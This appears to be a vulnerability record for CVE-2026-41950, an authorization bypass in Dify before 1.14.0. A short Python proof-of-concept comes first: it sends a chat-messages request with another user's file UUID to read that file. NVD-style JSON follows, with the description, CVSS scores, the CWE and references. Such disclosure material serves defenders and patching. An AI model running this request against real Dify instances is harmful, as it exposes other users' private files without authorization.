CVE-2026-41950

import requests import json # Target configuration TARGET_URL = "https://<dify-instance>/v1/chat-messages" API_KEY = "<attacker_api_key>" VICTIM_FILE_UUID = "<arbitrary_file_uuid>" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Construct payload with arbitrary file UUID payload = { "inputs": {}, "query": "Read this file", "response_mode": "blocking", "conversation_id": "", "user": "attacker", "files": [ { "type": "document", "transfer_method": "local_file", "upload_file_id": VICTIM_FILE_UUID, "use_rag": True } ] } try: # Send the request to trigger the vulnerability response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Response:") print(json.dumps(response.json(), indent=2)) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-41950", "sourceIdentifier": "[email protected]", "published": "2026-05-05T21:16:23.233", "lastModified": "2026-05-12T16:20:10.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dify before version 1.14.0 contains an authorization bypass vulnerability that allows authenticated users to read the full contents of files uploaded by other users within the same tenant by supplying an arbitrary file UUID in the files array of a chat-messages request. Attackers can exploit insufficient permission verification in the chat-messages endpoints to access files without ownership validation, bypassing workspace separation and signed URL protections to retrieve sensitive file contents through workflow processing."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langgenius:dify:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.14.0", "matchCriteriaId": "2FA16C69-24E0-466F-A40A-EA9536C0A138"}]}]}], "references": [{"url": "https://github.com/langgenius/dify/releases/tag/1.14.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://huntr.com/bounties/181136ec-d957-4b75-8ea7-6fa7b8abd01d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/dify-authorization-bypass-via-file-uuid", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://huntr.com/bounties/181136ec-d957-4b75-8ea7-6fa7b8abd01d", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}